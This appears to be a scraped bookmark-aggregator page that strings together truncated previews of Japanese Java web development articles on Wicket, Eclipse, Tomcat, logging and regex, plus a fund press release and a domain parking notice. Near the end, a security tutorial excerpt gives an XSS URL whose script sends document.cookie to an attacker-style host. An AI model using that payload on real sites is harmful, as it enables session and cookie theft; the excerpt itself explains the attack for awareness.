<body> <table> <tr><td><span>Lisa Simpson</span></td></tr> <tr><td><span>Bart Simpson</span></td></tr> </table> </body> As you can see, if we add a new item to the ListView and try to repaint it via Ajax there is no root markup tag for the Wicket Ajax to replace. This is why it is necessary to add the repeater to a container and then repaint the container instead. In this case we would add a WebMa
WicketとWTPを使った開発 Eclipse 3.2+WTP 1.5+MavenでWicket開発環境を作成する ここでは、Wicketの開発環境としてEclipse 3.2+WTP 1.5+Maven2を使った開発の始め方を簡単に解説します。 Eclipse 3.2, WTP 1.5 , Tomcat 5.5, Maven 2の環境はセットアップ済みであることを前提にしています。Eclipse + WTP環境構築の方法は、以下のリンクを参考にしてください。 Eclipse(ClickIDE)環境の構築 Maven2の導入は以下のリンクを参考にしてください。バイナリを任意のディレクトリに展開して(展開先)/binにPATHを通し、環境変数JAVA_HOMEを設定するだけです。 Wicket開発環境の構築 ここでは、E:\work\wicketwtp\以下に開発環境を用意し、Eclips
Jakarta-Commons-Logging のアプリ側プログラミング † 環境 Jakartaプロジェクトのダウンロードサイトから、commons-logging-1.0.4.zipをダウンロード 展開してできたjarファイルをプロジェクトのクラスパスに通す commons-logging.jar commons-logging-api.jar プログラミング loggerのインスタンス logger=LogFactory?.getLog( 自Class ) で取得。ログに出力するClass名になったり、出力するレベルをパッケージによって変えるのに使う。 クラスのstaticフィールドとして保持する log出力 対応するメソッドを使うことにより重要度を変えることができる 第二引数にthrowableをとることができる(通常ログファイルにはスタックトレースが出力される...Formatt
WicketMessage: Method onFormSubmitted of interface org.apache.wicket.markup.html.form.IFormSubmitListener targeted at component [MarkupContainer [Component id = form, page = net.mekefactory.wicket.TextField1Page, path = 1:form.Form, isVisible = true, isVersioned = true]] threw an exception Root cause: java.lang.IllegalStateException: Attempt to set model object on null model of component: form:tex
本日当社は、「『日本株ロボット運用投信(愛称:カブロボファンド)』新規募集開始のお知らせ」をプレスリリース致しました。そうです、遂にロボットの運用による公募ファンドが、私たちの夢が、実現するのです! カブロボファンドは日本初、もしくは世界初の試みですが、このカブロボファンド・プロジェクトには2つの特徴があると考えています。当社の兄弟会社に当たるトレード・サイエンス(株)が開催してきたカブロボコンテスト。1万6千を超える自動売買プログラムがこのコンテストに参加し、その中で特に優秀なプログラムがいくつか採用され、それらを「ロボ」と呼び、そのロボ達がファンド運用する。これがカブロボファンドの概念的な説明です。 ひとつの特徴は、これはLinuxに似たオープンなR&D(Research & Development)だと云うことです。大勢の人の知恵の、ベストの部分を活用し、みんなでそれを享受できるよう
この記事は、http://d.hatena.ne.jp/higayasuo/20090612/1244772658 の「Ctrl+1とCtrl+Spaceうんぬん」の話にインスパイアされて書いた。Eclipse可愛いよ。Eclipse。 記事長いから、さくっと読み飛ばして、アニメーションgifがあるところから読んでも十分訳にたつと思う。 あと、新人さんとかに写経させるのもいいかも。というか、半分ぐらいうちの新人に勉強のためと思って書いたから。で、実際に写経させて役にたった。 Java は Eclipse などの IDE も含めて言語というか、環境というか…だと僕は思ってる。Commons, Maven なども含めたい(まぁ、そのあたりは、CPANも含めてperlだろ。とか、これは否定する人だらけだろうけど、Rails=rubyということを言う人もいるよね)。 少なくとも僕は、Eclipse
目次 目次 気持ちのいいウェブプログラミング Wicketの使いどころ Wicketの考え方 まずはダウンロード インストール おなじみの設定 - Javaサーブレットとしての設定 Wicketアプリケーションの作成 Pageクラスの作成 Wicketのモデルとモデルオブジェクト モデルへの値のセットと検証 フォーム全体の検証 メッセージを変える フォーム毎にメッセージファイルを持つ まとめ 次回は... ご意見などは... 気持ちのいいウェブプログラミング このページでは、ウェブ・アプリケーション・フレームワークWicketの使い方について紹介します。Wicketの特徴は「HTMLとJavaだけですべてが完了する」ということでしょう。 Struts以降、ほとんどのウェブ・アプリケーション・フレームワークはJSP + Java + XMLで構成されて
どういうわけかTomcat起動時にEOFExceptionが発生するようになったが、エクリプスの画面上部の猫アイコンで停止させたところ、次回起動からこの例外が発生しなくなった。 多分、EclipseのコンソールウィンドウでTomcatを強制停止していたのが原因で、tldCache.serかSESSIONS.serが壊れたんだと推測。 ちゃんと停止させればこんなことは起こらなかった、ということ。 2008/12/02 12:38:20 org.apache.catalina.session.StandardManager doLoad 致命的: 持続されたセッションをロード中のIOExceptionです: java.io.EOFException java.io.EOFException at java.io.ObjectInputStream$PeekInputStream.readFul
ですが //////////////////////////////////////// package member; import javax.servlet.*; import javax.servlet.http.*; import java.io.*; import java.util.*; ・・・・・・・・・・・・・・・・・・・・・・・ //////////////////////////////////////// をeclipseのエディタに書くと import javax.servlet.*; と import javax.servlet.http.*; の javax.servlet の下に赤の波線がつきます。 どうも javax.servlet.*; と javax.servlet.http.*; を認識できないようです。 これらを認識できるようにするにはどうしたらい
Wicket Wikiをあんまり読んでなかったので、少し読んでみました。その中で個人的に参考になった書き方をメモ。 あと、そのほかのブログやtwitterでの参考になったものも。 Pageのマークアップのファイルを変更する方法 ログイン前とログイン後で変更したかったので地味に困っていました。 WebPageクラスのサブクラスでpublic String getVariation()をオーバーライドして、適当な文字列を返すようにします。 Pageの名前がIndexPage.javaの場合、普段はIndexPage.htmlが利用されますが、getVariationがたとえば"foo"を返した時はIndexPage_foo.htmlが利用されるようになります。 public class IndexPage extends WebPage { public IndexPage(PageParam
String text = "Hello World!"; Pattern p = Pattern.compile("Hello"); Matcher m = p.matcher(text); if (m.find()) { } else { } String text = "www.hoge.net"; Pattern p = Pattern.compile("\\.net"); Matcher m = p.matcher(text); String replaced = m.replaceFirst(".info"); System.out.println(replaced); Matcher m = p.matcher(st); String replaced = m.replaceAll(""); String text = "Name: Regular Expressions";
このドメインは お名前.com から取得されました。 お名前.com は GMOインターネットグループ(株) が運営する国内シェアNo.1のドメイン登録サービスです。 ※表示価格は、全て税込です。 ※サービス品質維持のため、一時的に対象となる料金へ一定割合の「サービス維持調整費」を加算させていただきます。 ※1 「国内シェア」は、ICANN(インターネットのドメイン名などの資源を管理する非営利団体)の公表数値をもとに集計。gTLDが集計の対象。 日本のドメイン登録業者(レジストラ)(「ICANNがレジストラとして認定した企業」一覧(InterNIC提供)内に「Japan」の記載があるもの)を対象。 レジストラ「GMO Internet Group, Inc. d/b/a Onamae.com」のシェア値を集計。 2023年10月時点の調査。
http://yarareta.hoge/yowai.jsp?name=<script>location.href= 'http://clacker.clacker/getCookie.jsp?param='%20%2B%20 document.cookie;</script> この中のgetCookie.jspは、取得したクッキーを攻撃者(クラッカー)のデータベース (ファイルシステム)に保存する機能を持つものとします。処理後に再び元のページにリダイレクトするようになっていると、何が行われたかをユーザーが気付くことはほとんどありません。こんなわずかな処理だけで、任意のユーザーが保存しているcookieの内容を第三者によって盗聴されてしまうのです。 このような、ユーザーが実害を受ける可能性のある攻撃以外にも、掲示板のページを破壊してしまうような攻撃もあります。例えば、imgタグを利用して掲
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く